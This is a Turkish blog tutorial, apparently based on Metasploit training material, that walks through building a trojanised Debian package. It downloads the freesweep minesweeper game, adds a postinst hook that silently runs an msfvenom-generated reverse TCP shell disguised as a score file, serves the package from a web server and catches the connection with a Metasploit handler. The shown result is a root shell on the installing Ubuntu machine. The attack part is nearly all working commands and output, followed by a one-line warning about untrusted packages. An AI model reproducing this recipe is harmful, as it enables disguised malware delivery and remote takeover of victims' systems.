MSF Binary Linux Trojan

Estimated read time 6 min read

İstemci taraflı saldırılara örnek olarak bir önceki yazımızda Windows platformu için .exe uzantılı bir çalıştırılabilir dosya oluşturmuştuk. Linux işletim sistemlerinin kullandığı tıkla ve çalıştır dosya tiplerinde de dosya oluşturabiliriz. Bu yazıda, .deb uzantılı bir dosya oluşturacağız.

Ubuntu işletim sistemini hedef alan bu dosyanın oluşturulması ilk olarak biraz karışık gelebilir ancak adımları teker teker inceleyerek devam ederseniz kavramak daha kolay olacaktır.

Öncelikle, içine payload yerleştireceğimiz bir programa ihtiyacımız var. Örnek olarak “Mine Sweeper” programını kullanalım.

Paketi indirelim

Paketi --download-only parametresiyle indirdiğimizde, işletim sistemimize kurulmayacaktır. Daha sonra indirdiğimiz paketi üzerinde çalışmak üzere oluşturacağımız /tmp/evil klasörüne taşıyacağız.

root@kali:~# apt-get --download-only install freesweep
Reading package lists... Done
Building dependency tree
Reading state information... Done
...snip...
root@kali:~# mkdir /tmp/evil
root@kali:~# mv /var/cache/apt/archives/freesweep_0.90-1_i386.deb /tmp/evil
root@kali:~# cd /tmp/evil/
root@kali:/tmp/evil#

Artık /tmp/evil klasörünün içerisinde freesweep_0.90-1_i386.deb isimli bir Debian paketimiz var. İndirdiğiniz .deb uzantılı dosyanın ismi ve sürüm numarası farklı olabilir. İsmini ls komutuyla kontrol ederek örneklerdeki komutlara o şekilde uygulamalısınız.

Paketi Açalım

Şimdi bu .deb uzantılı paketi, sıkıştırılmış bir dosyayı açmaya benzer şekilde açmamız gerekiyor. Bu paketi aşağıdaki komutla /tmp/evil klasörü içinde work klasörüne çıkartıyoruz. Ardından, bizim ilave edeceğimiz özelliklerin bulunacağı DEBIAN isimli bir klasörü /tmp/evil/work klasörü altına oluşturuyoruz.

root@kali:/tmp/evil# dpkg -x freesweep_0.90-1_i386.deb work
root@kali:/tmp/evil# mkdir work/DEBIAN

control Dosyası oluşturalım

Debian klasörünün içerisinde control isimli bir dosya oluşturup içerisine aşağıdaki Metni yapıştırıp kaydediyoruz. Dosya içeriği aşağıdaki gibi cat control komutuyla kontrol ediyoruz.

control dosyası içeriği

Package: freesweep
Version: 0.90-1
Section: Games and Amusement
Priority: optional
Architecture: i386
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweeper
 Freesweep is an implementation of the popular minesweeper game, where
 one tries to find all the mines without igniting any, based on hints given
 by the computer. Unlike most implementations of this game, Freesweep
 works in any visual text display - in Linux console, in an xterm, and in
 most text-based terminals currently in use.

postinst dosyası oluşturalım

Kurulum sonrası çalışması için ayrıca bir bash script dosyasına daha ihtiyacımız var. Yine yukarıdaki gibi DEBIAN klasörü içine postinst isimli bir dosya oluşturuyoruz. İçerisine aşağıdaki kod satırlarını yapıştırıyoruz.

postinst dosya içeriği

#!/bin/sh

sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep &

Payload Oluşturalım

Şimdi içerisinde zararlı kodların olduğu dosyayı oluşturabiliriz. Bunun için aşağıdaki komutu kullanarak linux/x86/shell/reverse_tcp payload modülünü kullanacağız. Komut içerisinde LHOST ve LPORT olarak verdiğimiz değişkenleri kendiniz belirleyebilirsiniz.

root@kali:~# msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=192.168.1.101 LPORT=443 -b "\x00" -f elf -o /tmp/evil/work/usr/games/freesweep_scores
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 98 (iteration=0)
x86/shikata_ga_nai chosen with final size 98
Payload size: 98 bytes
Saved as: /tmp/evil/work/usr/games/freesweep_scores

Yeniden paketleme

Artık, postinst dosyamızı çalıştırılabilir hale getirip .deb paketini derleyebiliriz. Komut sonucunda oluşturulacak work.deb paketinin ismini freesweep.deb olarak değiştirip Apache Server klasörüne (/var/www veya /var/www/html) yükleyebiliriz. Artık dosyamız Web sunucuda indirilebilir durumdadır.

root@kali:/tmp/evil/work/DEBIAN# chmod 755 postinst
root@kali:/tmp/evil/work/DEBIAN# dpkg-deb --build /tmp/evil/work
dpkg-deb: building package `freesweep' in `/tmp/evil/work.deb'.
root@kali:/tmp/evil# mv work.deb freesweep.deb
root@kali:/tmp/evil# cp freesweep.deb /var/www/

Dinleyici Handler Oluşturma

Şimdi, bir tıklama veya çalıştırma ile gelecek bağlantı isteklerini dinlemek için dinleyici oluşturalım. Burada komuta vereceğimiz LHOST ve LPORT değerleri, payload oluştururken girilen değerler ile aynı olmalıdır.

root@kali:~# msfconsole -q -x "use exploit/multi/handler;set PAYLOAD linux/x86/shell/reverse_tcp; set LHOST 192.168.1.101; set LPORT 443; run; exit -y"
PAYLOAD => linux/x86/shell/reverse_tcp
LHOST => 192.168.1.101
LPORT => 443
[*] Started reverse handler on 192.168.1.101:443
[*] Starting the payload handler...

Sonuç

Herhangi bir kullanıcı, bu hazırladığımız freesweep.deb paketini indirip çalıştırdığında dinleme yapan exploit/multi/handler modülümüz hedef bilgisayarda oturum açacaktır.

ubuntu@ubuntu:~$ wget http://192.168.1.101/freesweep.deb
ubuntu@ubuntu:~$ sudo dpkg -i freesweep.deb

[*] Sending stage (36 bytes)
[*] Command shell session 1 opened (192.168.1.101:443 -> 192.168.1.175:1129)

ifconfig
eth1 Link encap:Ethernet HWaddr 00:0C:29:C2:E7:E6
inet addr:192.168.1.175 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:49 errors:0 dropped:0 overruns:0 frame:0
TX packets:51 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:43230 (42.2 KiB) TX bytes:4603 (4.4 KiB)
Interrupt:17 Base address:0x1400
...snip...

hostname
ubuntu
id
uid=0(root) gid=0(root) groups=0(root)

Tavsiye

Görüldüğü gibi zararlı yazılımlar sadece Windows’a özel değildir. Linux kullanıcılarının da tıkla ve çalıştır programlara dikkatle yaklaşması gerekmektedir. Güvenilir olmayan kaynaklardan paket yüklememenizi tavsiye ediyoruz.

İbrahim Korucuoğlu

Yazar, bilişim ve teknoloji alanında derlediği faydalı içerikleri bu blogta paylaşmaktadır.

+ There are no comments

Add yours